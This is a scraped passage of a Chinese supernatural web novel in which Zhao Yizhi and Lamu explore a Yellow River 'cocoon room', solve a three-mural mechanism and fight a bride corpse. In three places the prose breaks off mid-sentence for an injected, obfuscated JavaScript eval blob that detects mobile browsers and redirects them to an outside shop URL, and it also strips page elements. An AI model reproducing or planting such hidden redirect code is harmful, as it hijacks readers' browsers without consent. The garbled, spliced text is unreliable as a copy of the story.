周书云直接扔掉怀里的浴巾,跳下黄河打横抱起她,脚下用力往河中的石壁一蹬,飞身跳得老高。在空中时,阴女甩甩脚,将仅剩的高跟鞋扔进了河里。 “车里有‘药’。”周书云抱着阴女往车子走去。 他们的身体与常人有异,不可能去医院,所以周书云总会随身备一些东西,以免身体受伤时吓到别人。他们没有血,皮肉撕开之后流出的液体虽然看起来像血,味道与成分却是极大的不同。 周书云打开后备箱,放阴女坐在上面,拉过旁边的车载冰箱,拿出一只玻璃盒,揭开盖子放在阴女身旁。盒子里是他做的果冻,材料自然是新鲜的生猪血、生鹅肝和生鹿肉。 “你先吃,我帮你包扎手。” 阴女拿起盒中的不锈钢小叉,戳起一块果冻送入口中。 “好吃吗?”周书云不忘抬头笑问一句。 于是阴女戳起一块喂给他。 “剩下的,只能靠他们自己了。” ———— 赵义之手中抱着那只青铜甗,低头观察的目光里终于褪去忐忑。 不知怎的,他松了一口气,沉思半天缓缓抬起头,说:“你以前……挺活泼的嘛。” “是吗?”拉姆不以为然,甚至有些困惑。 “现在像个摔裂的玻璃球。” 拉姆沉思片刻,抬头问:“你是说,我是个废物?” 赵义之古怪地打量拉姆片刻,随后抓过他的手,将青铜甗塞过去:“好了,青铜甗也找到了,我们回?” 拉姆皱了下眉,没有动。 “怎么了?”赵义之以为是拉姆误会自己说他废物,立刻解释,“我刚才那句话不是说你废物,是另一个意思。” 哐啷。 拉姆怀中的青铜甗掉在地上。 他恍如没有听见赵义之的声音,兀自抚上双颊。 疼。 疼…… “拉姆?” “喂,拉姆?!” 几乎在产生疑惑的同时,黑暗之中,凭空出现一个光点,小得几乎不存在。 这是什么?这是什么?这是什么? 在这个问题的不断重复下,光点慢慢长大,然后下个刹那骤然炸开。 强盛而浩瀚的光将黑暗驱至角落,成为中心。 疑惑再次出现。 拉姆…… 随后一道声音传来。 拉姆,我亲爱的孩子,你将拥有我全部的爱,与力量。 我赐予你幸福,赐予你快乐,赐予你永恒,赐予你至高无上的尊贵。 宇宙是你的摇篮,世界是你的温床。 而我,是你的母亲、你的父亲、你的朋友、你的爱人、你的孩子,亦是你的灵魂。 有了你,我才第一次能看见我自己。 周遭白茫茫的一片,他却什么都看不见,可又好像一切都早已映入他眼中。那只巨大而温柔的手,轻轻抚摸着他的身体,不知抚摸多少次,他终于有了“感”和“觉”,然后长出“身体”。 我可爱的孩子,拉姆,我多么希望你能变得如我一般强大,解决我心中所有疑惑。 “啊——!”拉姆双手捂住脸倒在地上,嘴里发出凄厉的惨叫。 “拉姆?!”赵义之被吓一大跳,“你怎么了?脸吗?脸受伤了?什么时候的事啊。”他手足无措地看着在地上打滚的拉姆,“我再坚持坚持,我、我马上带你出去!” 六神无主的赵义之在背与抱之间飞快纠结片刻,当机立断捡起地上的青铜甗拴在裤腰带上,掰开拉姆的手臂往身上背:“我们马上就能出去了。” 可是拉姆使出浑身力气推开他,继续捂住脸疼得蜷缩成一团。赵义之被他推得跪倒,撑地的手掌被石头磕破皮,顿时渗出血。 双颊如烈焰炙烤般的疼痛几乎令拉姆陷入癫狂,赵义之急切的声音也好,四周奇怪的环境也好,他全都无法感知,甚至连疼痛也逐渐离他而去。他身体中像是有一团混沌,将他与外界的感知隔绝开。 赵义之尝试好几次,费了半条命的力气终于将拉姆扶起来,坐在拉姆身后双臂穿过他腋下用纳尔逊式锁技紧紧束缚,怕他再发疯:“你到底怎么了?突然搞这么一出怪吓人的。” “为……什么……”拉姆的眼中不断流出眼泪,“为什么……” 尝试和拉姆沟通的赵义之听到这个问题,差点气笑了:“我才想问为什么。累死我了。” 拉姆继续呢喃着:“为什么您要这么做……为什么……要丢下这一切!” “谁丢下你了?” “我的……我的母亲……” 赵义之叹口气,顺便腾出一只手拍拍拉姆的肩,语重心长地说:“这不是你的错,是她狠心。你现在有的是钱……我倒不是说钱能买到家人。富足的物质条件可以帮你省下很多时间,利用这些时间,你完全有机会重新组成一个新的家庭。而且我觉得吧,‘家’不一定非得限制在血缘关系里。比方说那些收养的,还有认干亲的,包括结婚,全都是不相干的人组成新家。你不也有个老婆嘛,她就是你的家人。” 不知不觉中,拉姆全身紧绷的肌肉终于开始放松:“嗯……” 得到回应,赵义之勾起一边嘴角露出牙齿笑起来:“虽然你以前结过婚,眼睛看不见,但怎么说也是个家财万贯的美男子,只要多上街走走,想和你组建家庭的人保证能绕地球一圈。” “嗯……” “你别光嗯啊,得行动起来。这样吧,我乐于助人一下,等出去之后带你到处溜达溜达,体验现代人类的感情生活,再给你重新设计个造型。你不能老是一个风格,要变起来。我跟你说,据我多日观察,你要是把头发剪短,保准更有性张力,来要联系方式的女孩子肯定不会少。” “你先放开我。”拉姆终于说话了。 赵义之歪头盯着他:“不发疯了吧?” 得到拉姆的反复点头确认,赵义之才一点一点松开手臂。拉姆好似脱了力,直接瘫倒在赵义之身上,两眼无神地望向远方的地平线。 赵义之没有狠心甩开拉姆,而是挪开腰间的青铜甗,调整到两个人都比较舒适的姿势,用肩背支撑着他:“你到底怎么了,刚才真的吓死我了知不知道。” 拉姆张了张嘴,半晌才说:“我们暂时出不去了。” “啊?!”他拔高嗓音,不可置信,“茧房不是打开了吗,青铜甗也找回来了,怎么还出不去?” “是我大意了。”拉姆坐起来,调转身体面朝赵义之,摸着自己的脸颊,“怨灵在我脸上留下印记,把我困在了没有信息的茧房里。” “怪不得你一直捂着脸。那个女鬼这么厉害?” “我不知道她是怎么做到的。” 赵义之思忖片刻:“难道是阿卡夏搞的鬼?” “不知道。以前从未出现过这种情况。”拉姆眉头微蹙,显然也对目前的情况毫无头绪。 “那我们现在怎么办?没有信息的茧房,还能找到本位吗?” 拉姆亲亲探口气,摇摇头:“没有信息,也就没有本位。茧房发生变化,阴女一定已经察觉到异样。这里是黄河,即便茧房是空的,也是黄河的空茧房。” 赵义之歪头撑着脸,看向拉姆:“所以?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332080|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以,阴女会将黄河的信息送进来。” “她能进来?”赵义之有些许惊讶。 可摇头的拉姆没让他惊讶太久:“强行进来几乎不可能,而且会要阴女半条命。阴女能将信息送进来已经不容易。” 赵义之挠挠脸:“呃如果……我是说如果,一直没有信息进来,我们是不是一直出不去?” “不用一直,二十四小时一到,你就该消失了。” “啊?!”他竟然将这茬给忘了,“对哦,怎么办?” “有信息了。”拉姆忽然站起来,“正好,可以将与我有关的另一件载体找回来。” “是什么?”赵义之边说边随之站起来。 “山海图。” 阴女送进来的纸张化作天上的云,又落成金色的雨,发出玉珠相撞一般的清灵声音,格外悦耳,淋在赵义之身上,便是洗去了他所有疲惫与困乏。 “金色的雨哎,我还是第一次见。”赵义之仰着头,摊开双手去接雨,脸上全是笑,“这也太漂亮了,要是有手机,我高低得拍下来。” 金雨落在拉姆灰色眼眸里,反出些许光辉:“对你来说,手机应该比手持弩更熟悉。” 赵义之打了个响指:“你说得对。” 他构建出一部手机。 举起手机对准金雨连拍数张的赵义之忽然调转镜头,趁雨势未减,揽过拉姆的肩拍下合照。 镜头中的赵义之不再是什么都没有的空白,而是他定格在二十五岁时的容貌。 他的英俊非常张扬、强势,与典雅矜贵的拉姆形成鲜明对比。 照片上的拉姆静静的,面无表情,而赵义之则勾着嘴角微仰下巴,有一丝痞气。 如果没有阴女,像赵义之这样的人,永远不会和内敛自持的拉姆成为朋友,甚至连认识的机会都没有。 “再来一张。”检查完照片中两人的表情,赵义之再次举起手机对准自己和拉姆,“拉姆,笑一个。” 拉姆很听话,勾着嘴唇微微笑了。 金雨落下的最后一滴,被拉姆伸出的掌心接住,然后化作一缕细烟,朝某个方向飘去。 “跟着它。”拉姆说。 赵义之收好他的宝贝手机跟上拉姆,问:“我们还有多少时间?” 拉姆在心中默默算了算:“还有八个小时。” 赵义之正欲说那不急,拉姆便又再次开口:“还有八个小时,你的拟态就要消失了。” 赵义之脸上的笑骤然凝滞,而后跳起来大喊:“你不早说!” 他往前冲出两步,转头见拉姆仍旧不紧不慢徐徐踱步,又走回来拽着他,跟着清烟跑。 清烟消散前,已经将他们引至断崖处,差一点,赵义之就拽着拉姆掉下去。虽然不会死,但脚边突然成了悬崖,赵义之还是有点害怕的。 “这是要我们下去的意思?”赵义之看着底下,问。 断崖下是茂密的丛林,一眼望去,郁郁葱葱没个尽头,即便是方向感很好的人,恐怕没个几天也走不出来。更何况是只有八个小时限制的他们。 “那边有条路。”拉姆拍拍赵义之的肩,示意他跟着自己。 “这下面跟迷宫似的,我们真要去?”虽然嘴上这么说,可他还是跟上了拉姆的脚步,“万一迷路走不出来,我岂不是死定了。你有多大把握找到本位?” “你应该问,我们有多大把握找齐所有本位。” 赵义之心中隐约有不好的预感:“你什么意思?难道这个茧房不止一个本位?” 拉姆停下前进的脚步,想了想,回答:“差不多十二个。” “十……?!”赵义之到抽口冷气,“这也太多了!” 而这,并非最坏的消息。 32.三门 “时间可能不够,得抓紧。” 赵义之幽幽长叹一口气,脸上表情反倒平静下来,似乎已经接受自己将要消失的现实:“如果时间真的不够,消失就消失吧,不是什么大事。到时候你也别管我了。” “可以。” 悬崖峭壁上仅凿出三寸宽的栈道,不够半只脚掌落地,难走,便是想快也快不起来。凭借能够影响信息的能力,赵义之在悬崖上搭建出一条攀岩用的安全绳,和拉姆一点一点慢慢蹬着崖壁滑到底。他落地时脚下一滑,下半张脸撞到山体上,咚的一声磕破了嘴。 拉姆闻声扭头:“出什么事了?” 赵义之捂着留着的嘴,疼得眼泪直打转:“我明明是个拟态,为什么还有痛觉?” “不只有痛觉,也会受伤。”拉姆拿开赵义之的手,捂上他的嘴,几秒后再将自己的手拿开时,赵义之嘴唇上的伤口就已经痊愈了。 当拉姆的手捂上来,很奇怪,赵义之竟然闻到了暖烘烘的,太阳的味道。谈不上香,却叫人心旷神怡。 “难怪阴女说你治愈能力比较好。”赵义之舔了舔自己的唇。 “小心点。”拉姆叮嘱,“别掉下去。” 落脚的地方并非崖底,而山壁上的一个小悬台,临着个方方正正的山洞,没有丝毫天然的痕迹,全是人工凿琢。 拉姆解开安全绳扣,摸着崖壁走向山洞。 山洞里头很黑,幽深幽深的,看不见头,除去洞口外的光就再没有别的照明物,太黑。赵义之想不明白拉姆今山洞的缘由,叫了几声拉姆没叫住——他实在不愿意进去,总觉得里头躲着什么东西。 “事先声明,我不是害怕,而是出于谨慎。通常来说,这里面肯定没藏什么好东西。如果没有本位,我认为没有进去的必要,没必要浪费时间嘛。” 拉姆并没有将赵义之的话放在心上,步履坚定朝里走:“里面有东西。” “什、什么东西?”赵义之看了一眼漆黑的山洞,还想再争取一下,“你真要进去?” “嗯。”拉姆回答得十分平淡,“不是你害怕的东西。” “呵,谁怕了。”赵义之不屑一笑,转头还是躲在拉姆身后,贴着他走。 经得拉姆提醒,赵义之恍然大悟,构建出两支100W的强光手电筒,自己一支,递给拉姆一支。有光与否对拉姆而言没有区别,他迟疑片刻,才伸手接过手电筒打开开关,全当帮赵义之壮胆。 两个100W的灯光往前一照,敞亮,连石壁上的缝隙都变得一清二楚,若真有个什么古里古怪的东西,也不怕它突然跳出来吓唬人。有了光与视野,赵义之安心不少,胆子也稍微变得壮起来,甚至催促拉姆快些走,早点弄清楚里面有什么东西早点离开这地方。 浊闷的空气中混着淡淡的焦炭味,赵义之嗅了又嗅,抓住拉姆的手臂停下来:“你有没有闻到什么奇怪的味道?” 拉姆静静嗅着,说:“是肉被烧焦的味道。” 赵义之深吸几口气,使劲闻了闻:“不对,不止是肉被烧焦的味道。肉焦了也是焦香,这味道里还有花开败了的酸味,和……”他再次深吸一口气直达肺部,从每根嗅神经上过了一遍,“水的腥味。” 拉姆淡漠的脸上露出些许讶异:“你的鼻子很灵。” “不是我吹,我从小就能靠鼻子认路。”赵义之得意地说,“对了,茧房里发生的事遵守常识吗?” 拉姆歪歪脑袋:“比如?” “比如火的燃烧需要氧气,水往低处流之类的。” “库会遵循自然规则,但茧房不一定,茧房的出现本就是因为信息错乱。火燃烧的地方可能是在水中或是岩石里,未必须要氧气。它甚至还可能不是热的,会将周围的东西冻成冰,或是腐蚀、溶解。发生什么现象都不奇怪。” 赵义之点点头,若有所思。 “唯一的常识,就是你是赵义之的信息拟态,千万不能忘记。” “有你在,我怕什么。”他倒要看看,这信息究竟是怎么个错乱法。 “我未必能及时救你。如果遇上紧急情况,还是要靠你自己。” 随着他们的深入,手电筒的光照见尽头堵住的石壁。赵义之皱眉刚嘟囔一句“怎么还是条死路”,寂静的山府内便传出若有似无的哭声,嗓子又细又软,是个女人。 哭声从前方传来,可光亮中并没有半个人影子。 赵义之体内每个细胞都被迫唤醒,枕戈待旦的,时刻准备着迎接即将突然冒出来的鬼魅。 “你刚刚在想什么?”拉姆不合时宜地开口问道。 虚惊一场也是惊,赵义之的呼吸略有急促:“你问我?是问我吧?” 拉姆淡定回应,丝毫没有放慢前进的脚步:“是问你。” 念及之前被假拉姆吓得差点背过气去,赵义之转头仔细端详身边的男人,伸手在他前胸后背乃至后脑袋都摸了摸,这才回道:“我在想……是不是有鬼。” “不是鬼。”拉姆先是回应了赵义之的猜测,然后才解释,“我是问你说那句‘死路’的时候,在想什么。” 前面挡路的石壁越来越近。 “在想路被藏起来,要开机关才能继续走。”赵义之撩了撩手电筒,“前面被石壁挡着,没路可走了。” 等到站定在石壁前,拉姆才说:“本来是没有机关的。”他边说边抚摸石壁,“不过现在有了。三个。” 赵义之想抽自己,但舍不得:“不会是三选一吧?” 拉姆转过脸,平静地面对赵义之:“你在给我们增加难度。” 他猛地反应过来,立刻道歉:“我不是故意的!就是一念闪过,真的是闪过,都不到一秒钟。而且,之前在阴女那个茧房我是想象了画面才改变环境的,这次完全没有画面。” “看来,你进步了。” “这能算进步嘛……那我现在努力想象十二个本位就在眼前,有用吗?” 拉姆回过脑袋,面朝石壁:“你知道十二个本位是什么吗?” “不知道。”赵义之甩甩脑袋,用力拍打自己的脸颊,“好,从现在开始我什么都不想。” 变成这种情况的确不怪赵义之,就连拉姆也没想到,既定的信息与信息之间竟会自主出现纠缠。 简直就像是…… “你控制一下。”拉姆说。 “我尽量,不,我一定!” 拉姆抬手摸了摸依旧作痛的脸颊,神情算不得轻松,本就暗藏忧思的精美容貌上,眼下又多添一抹凝重。不过毕竟是活得久见得多,他很快收回心神,触上石壁,指尖在其粗糙的表面缓慢移动。 他在摸三个机关的底。 与其说是机关,不如说是三幅刻在石壁上的画。 最上面,有许多细细密密走势相同的线条,犹似大浪。嗯,就是大浪。浪之上是位衣袂飘飘……头梳发髻戴钗花的,女子。 中间的,依然有浪花,只是浪上浮着小船,船里站个……柱状物。反复细摸之下,拉姆才确定那是人,穿嫁衣盖喜帕的人。 最下面那副还是有河水。河边坐着一位垂钓的老人。 “洛神渡水,河伯娶亲,太公钓鱼。”拉姆喃喃说道,“三选一……” 选对了有路,那没有选对呢?正如赵义之先前所说,要去崖底的森林有更简单地方法,选不对便无路可走的情况恐怕难以成立,唯一与之关联的,便是这里有本位。 “赵义之。” 赵义之蹲在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347031|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一旁忘我地唱情歌,转移自己的注意力。 拉姆拍拍他的头:“赵义之。” 被打断的赵义之有点不开心,仰头望着拉姆:“什么事?” “你把闻到的味道再说一遍。” “焦肉味、败花味、水性味,还有木柴味。”他说着站起身,也凑上来细看石壁上的画,“这又是什么字?” 拉姆露面无表情:“是画。从上到下依次是《洛神渡水》、《河伯娶亲》、《太公钓鱼》。” 赵义之边听边点头:“都和水有关。” “黄河有三门。”拉姆娓娓说道,“神门、人门,以及鬼门。” “你是觉得三幅画对应三道门?洛神肯定是神门,太公……人门?或者他和洛神换换。至于这个新娘嘛,嫁给河神等于淹死……”他一拍手,“鬼门没错了。” 拉姆幽幽叹口气:“可惜了。” 赵义之满脸不解:“可惜什么?” “盒子已经打开。” “哈?” 拉姆没打算解释盒子,而是继续上一个话题:“真如你所说的这般简单吗?排除河伯新娘,剩下的说哪一个是神都没错,也就是哪一个都错。” 赵义之捏着下巴认真思考:“我们是不是应该先弄清楚哪道门正确,再来选谁代表那道门?” 黄河有三门,原是湍急河道上挡路的一道高坎,被劈开三个豁口,从此北侧的是人门、南侧的是鬼门、中间的是神门。 三门天险,河中有许多暗礁,不仅峡道蜿蜒,两侧更是壁立千仞,河水从三门过,气势涛涛如喷涌而出。相较之下,人门稍微好走一些,至少河道不算太窄,能容运船通行。神鬼之门却多凶险,道窄水急还总生漩涡,是只有神鬼才敢过的。 黄河还有三门,孟门、石门、龙门。 而无论是天险三门还是河口三门,都曾在大禹治水的范围内。 “除了大禹治水,龙门还有一个传说——” “我知道,鲤鱼跃龙门嘛。”赵义之抢先一步说道,“所以应该走龙门?”随后他灵光乍现想到什么,兴奋又道,“我知道了!上北下南,所以中间这幅图是神门。龙是什么,你告诉我龙是什么?” 拉姆面带疑惑,但还是非常配合:“两栖动物?” “是神兽啊!”赵义之激动地拍了拉姆后背一巴掌,“这不连上了。相信我,准没错,就是中间这什么……河神娶亲。” 真是这样吗?拉姆还在迟疑,他不是没想到赵义之的此番猜测,可又觉得当中缺了些什么。 赵义之忍不住又说:“与其一直瞎琢磨,不如先去看看,万一瞎猫碰上懒耗子呢。我们只有八个小时。” “嗯……”目前的情况来看,也只能先试试了。 骨节分明的纤长手指再次摸向中间那副《河伯娶亲》图,寻找开启机关的地方。等在旁边的赵义之想来是无聊了,盯着拉姆的手看了片刻,他不自觉地举起自己的手放在它旁边。学着拉姆的样子轻轻触摸。 “原来藏在这里。” 拉姆的眼神一下子亮了几分,收回手对赵义之说,“你找到的,你来开吧。” “开什么?”显然,赵义之依旧沉浸在“是自己的手好看还是拉姆的手好看?”这个问题里。 “开机关,在你大拇指的位置。”拉姆指了指。 大拇指下方是线条细密流畅的海浪,粗看之下并无玄机,仔细瞧过之后却不难发现有两条线的刻痕比别的都深。 简而言之,这是个可以按动的钮。 赵义之凑近细看,按了下去。 咔嗒。 “我——” 脚下突然一空,赵义之与拉姆双双下坠。 “靠——是陷阱!” 33.谁的新娘 揉着自己在石头道上磨得酸痛的屁股,赵义之艰难地站起来,扭头见到拉姆没事人一般端正拍拍衣裤上的灰,愣是站直身体强撑出一副“就这”的表情。 拉姆像是看透这一切,拍拍他的肩,抬脚往前走。 赵义之不甘示弱,快步追上去。 前方有光,红色的,走得近了才发现竟是两盏红灯笼,静幽幽地挂在石壁上,照着下方高台上低头孤坐的人影,穿着喜庆的新娘服,盖着红盖头。 高台是直接从石壁上凿出来的,用竹子搭了阑干,正下方是紧闭的木门,门上没有拉环也没有锁孔。阑干很旧了,枯黄枯黄的,那灯笼投下的红也没能照得太明亮,全凭赵义之手里的电筒,才将这一幕清晰呈现出来。 100瓦的光,实在有些坏气氛。 尽管如此,赵义之的心胆还是被揪得紧紧的,就怕高台上的新娘突然站起来,下意识往拉姆身后躲:“拉姆,你说她是活的还是死的?” 拉姆试着推拉高台下的黄木门,不开,于是后退两步直接朝高台上的人影问:“你好,我们想找本位。” 何其直接,连赵义之都张大嘴倍感震惊。 高台上的人影依旧保持着弯腰勾背颓坐的姿势,背朝他们,没动。于是拉姆又直接问:“你知道本位在哪里吗?” 哗…… 周围响起水声,像有什么庞然巨物从他们背后游过。 赵义之猛地回头,用手电筒照亮来时路——什么都没有。 哗…… 又是什么东西在他们头顶游过。 可这山洞中,哪里来的水呢? 有物游动的水声回荡在逼仄的洞道中,不停环绕在赵义之耳边。明明周围都是空气,他却彷如浸在水中无法呼吸,那些水迅速抬升漫过鼻子,他极力仰起脖颈踮脚挣扎,终于还是缓缓下沉。溺水的痛,辛辣而沉闷。 拉姆,救我,救我! 一只温凉的手覆盖在他眼睛上,水面的波纹顷刻间消失。 “张开嘴。” 耳边传来平和的嗓音。 “吸气……呼气……吸气……呼气……” 拉姆的话语如同古琴轻弄,在水声衬托下,更是轻而易举便沁入心脾,化解了赵义之的窘境。 “咳咳咳!”照做之后,窒息的感觉骤然消失。 手拿开后,最先映入赵义之眼底的,是大红色的囍字,端端正正贴在头顶的正上方。若不是此刻他仰着头,恐怕很难看见。 吱呀…… 椅子发出声响,端坐高台的新娘子不见了,挂在石壁上的一盏红灯笼兀自摇晃起来,像是被无形之物给撞了一下。 明明没有出现太过骇人的场景,赵义之却还是没由来的头皮一阵麻:“她、她……哪儿去了?!” 拉姆没有回答,朝着高台走去。 ——大河九天胜兴兮,连蜷曼泽扬陆离;仙峪旖旎昭炯兮,扶桑若木芳嫭姱;清荣英华纷馨兮,桃夭灼敷而盈室;尊君下征寄处兮,登霞赫戏若灵所;彼人梦闻骤汩徂兮,申旦运舟始魂礼。 腾驾取问天式兮,见堇羽人卜长生;滂浩长狄巍雄兮,便娟玄女良容与;辟启清门徜徉兮,笙鼓乐耽篪黄钟;傞傞上行夜光兮,列星下省遗惠极;神置昆仑贻泰初兮,云来列缺拜繁荣。 山有狡虺奸狼兮,邪鬼恶魅出幽冥;石戈筹度歧路兮,?曀惊粟遘迫厄;列旌管鸟轩翥兮,流火肆殆怒神威;平峦倒海焉蹇兮,天兵捶星降红云;亡壤化生谓何所兮,殁道历此不复见。 晦明瞢闇既亏兮,众气朅谢不吾与;洪穹茕独倾陨兮,墟土圹室存白骨;霾霭弥遥飒飒兮,阜沙沈水泱?绝;亹亹哀憺沉沦兮,九州疾痍漂零落;余惜增伤究忡忡兮,晼晚郁忧悲憭凄。 思云子兮常涕泣,穷身咨嗟谓太息—— 空灵的嗓音幽幽唱着一曲古音,是好听的,可借着山洞的回响又多了些诡异,令赵义之背脊发凉。 硬着头皮听完,赵义之保持着一动不动的姿势打了个寒战,小声问:“这唱的啥,怪瘆人的。” 歌声已了,没有再次响起。拉姆仍然沉浸在曲子里,皱起眉头久久没反应,直到赵义之从背后推了他一下,才像是回过神:“你说什么?” “我刚才问你,这歌里唱的是什么。”赵义之边说着,边抱起双臂歪头仔细观察拉姆的表情,“你不对劲。” 拉姆沉默片刻,轻轻叹口气:“诗中唱的是:在黄河流域,有一个非常美丽的山谷,山谷中开满芬芳的鲜花,神来到这里,被人类知道了,于是坐船来朝拜,求长生。在这些神中,有巨人和仙女,他们打开山谷的入口,与人一同举办了宴会。神……神造出昆仑山,引来雷电帮助人类发展。然而……” 没有等来下半截话,眼瞧着拉姆似乎又陷入沉思,赵义之不得不摇晃他的肩膀:“然而什么?你别吊着我。” 拉姆脸上的神色有稍纵即逝的不自然,只是并没有被赵义之发现。 “然而歌中唱的,和我们之前在石壁上所见的三幅图完全无关。按理说,不该是这样。” “难道选错了?” 赵义之拿着手电筒四处照,也朝高台走近几步,寻找别的线索。消失的新娘不知何时出现在角落,被白色灯光猛地一照,倒真有几分吓人了。 陈旧的喜服蒙着灰,黄金饰品也已变形氧化,她如同刚从棺材里头出来,阴气森森。 “没有新郎。”寂静无声中,拉姆忽然开口。 本来就紧绷一弦的赵义之颤颤巍巍问:“她、她不会是想从我们中选一个吧?” 拉姆摇摇头,不想继续在这里浪费时间:“先去其他地方看看。” 高台右侧有条狭窄的洞缝,勉强能容一人侧身挤进去。可手电光一照,那缝隙里头竟然密密麻麻横生了许多石笋,拦着不让人过去。 掉下来的地方肯定是爬不回去的,赵义之和拉姆在山洞中各自四下寻找,最后再次走到石缝前,探头朝里看。 “总不会是要像壁虎那样扭着爬过去吧?”赵义之露出为难的表情,“我试过想象清障,没用。”他高估了自己的本事。 “需要‘钥匙’。”拉姆转头朝新娘走去。 赵义之觉得那新娘实在瘆得慌,不敢靠近,在原地干紧张:“你别把她弄醒了。” 拉姆置若罔闻,对新娘小声说了句打扰,便掀开红盖头。 “喂你!”赵义之想叫不敢叫,“招惹她干嘛!” “拿钥匙。”拉姆总算做出回应。 盖头底下是一张凄白发青、双眸紧闭的脸,粗看之下皮肉依旧饱满丰盈,像才死去不久连尸斑都没有形成的鲜尸,不见任何干瘪和腐朽。她身上甚至还带着淡淡的花香。若说真有什么特别的地方,恐怕要数那对尖长的耳朵了。 眼熟,格外的眼熟。在疑惑的驱使下,赵义之慢慢走过去,站在拉姆背后端详女尸的容貌,尤其是耳朵。 赵义之摸着自己的耳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351741|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朵与之对比:“你觉不觉得,她的耳朵很奇怪,有点像西方精灵的那种耳朵,尖尖的,有点长。她不会是变异了吧。” “耳朵?”拉姆疑惑地伸出手,用指尖轻轻勾勒新娘的耳朵,身体不由得一颤,“耳朵……” “很特别对不对。”赵义之也抬起手,试探着碰了碰新娘的耳朵尖。 拉姆倏地收回手,动作停顿片刻,直接伸向女尸的嘴,掰开:“世界上有很多种族,每种都有不一样的耳朵。” 赵义之瞥了他一眼,默默收回手。眼神中透着一言难尽。 女尸口中含着什么物件,不等赵义之看明白,拉姆便已经掏出来。 下个瞬间,女尸的眼睛骤然睁开,紫色的瞳眸直勾勾盯着面前的拉姆,呜啊呜啊地怪叫着扑上来掐住拉姆的脖子。赵义之脱口而出骂了句脏话,抬脚朝女尸踹去,可惜没站稳,反倒险些让自己摔在地上。 拉姆非常淡定,将手中的玉牌交给赵义之:“去开机关,我来应付她。” “那、那你撑住啊!”赵义之的手在发抖,浑身都在发抖。比起之前遇到的怨灵,这种移动速度飞快的更让他害怕。 女尸的指甲扣进拉姆肩膀的皮肉里,疯长的头发射向赵义之缠住他的腰,将他重重砸到石壁上,痛得他几乎背过气去。拉姆顾不上自己的肩,或者说这样更方便。他双手拽住女尸的头发用力扯断,接着将盖头重新蒙上女尸的脑袋迅速裹了一圈,打上结,这才扣住她的手腕往外拔。 找到撞击时脱手飞出去的玉牌,赵义之将手电筒塞进嘴里拿牙齿咬住,大致看清手上是个什么东西便走向木门,寻找可以解开的机关。可木门上甚至连个可以插东西的凹槽都没有,于是他又去了石缝处。 以免赵义之被打扰,拉姆从身上拔出女尸的手指后并未急着脱身,而是拽着她来到山洞另一端,顺势堵住去路。显然,女尸并不打算放任赵义之开路,腾身跳上天花板,手脚并用朝赵义之飞快爬去。 拉姆的背后伸出触须,却又很快收回去。他追着女尸跑,赶在她一跃而下飞扑向赵义之时从半空中拦截,拽住她的脚踝狠狠甩回最开始的地方。可那女尸也不是好对付的,在拉姆将她甩出去之际,用五六公分长的指甲在他手臂上留下了深可见骨的抓痕。 衣袖被划成布条,拉姆皱了下眉,说明疼。 女尸静静趴在石壁上,正在等拉姆的下一步动作,哪怕他只是眨眨眼睛,她也会毫不犹豫再次发起攻击。 他们僵持着,谁都没有动。 直到什么东西游过的声音再次响起。 拉姆被水声分了神,仅是须臾,女尸便迅速朝拉姆爬过来将他扑倒在地,右手五根手指的指甲深深插进他胸膛。 终于找到凹槽,将从女尸嘴里拿出来的玉牌镶上去,赵义之转头想叫拉姆跑,不料映入眼中的却是拉姆的惨状:上身的衣服被划开无数道口子,与之相应的伤口清晰可见。 哦,对,赵义之想起来了,拉姆打架很弱。 “拉姆,机关解开了,快走!”赵义之扔出手电筒砸向女尸,趁此机会两步翻上高台取来那两只灯笼,一只朝女尸砸去逼得她后退,一只被撕开灯面。 他拿着灯笼里面的红烛跳下高台,捡起地上的拉姆,将他往缝隙里塞:“她怕火,我来断后。” 女尸数次想上前,又忌惮赵义之手中的火,最后只能贴在缝隙外发怒嘶吼。 赵义之打了个寒战,将手中的蜡烛扔过去。 34.洛水之女 缝隙之外别有洞天。 石壁上到处生出发光的萤石,一簇一簇的,像兰花草那般好看,这要是拿出去卖,不知能赚多少钱。 “别想了,带不出去。”拉姆说穿赵义之的心思,“就算出去,其他人也看不见。” 走在宽阔洞府内的狭窄小道上,脚边两侧皆是断崖,随处能捡到掉落的萤石发着幽幽绿光,竟使得气温低寒的山体内府多了些许意料之外的美。 跟在后面的赵义之连忙捂住自己的心口:“你窥探我!” 拉姆正经回应:“不用窥探,你藏不住心事。” “哦。” 哗…… 突兀的水声遏止住赵义之轻松的心情,放在心口的双手在感受剧烈心跳的之时也变得冰凉。 愣了片刻,赵义之立即贴上拉姆,目光戒备地四下乱瞟,不禁压低嗓音问:“你有没有听见什么声音?” 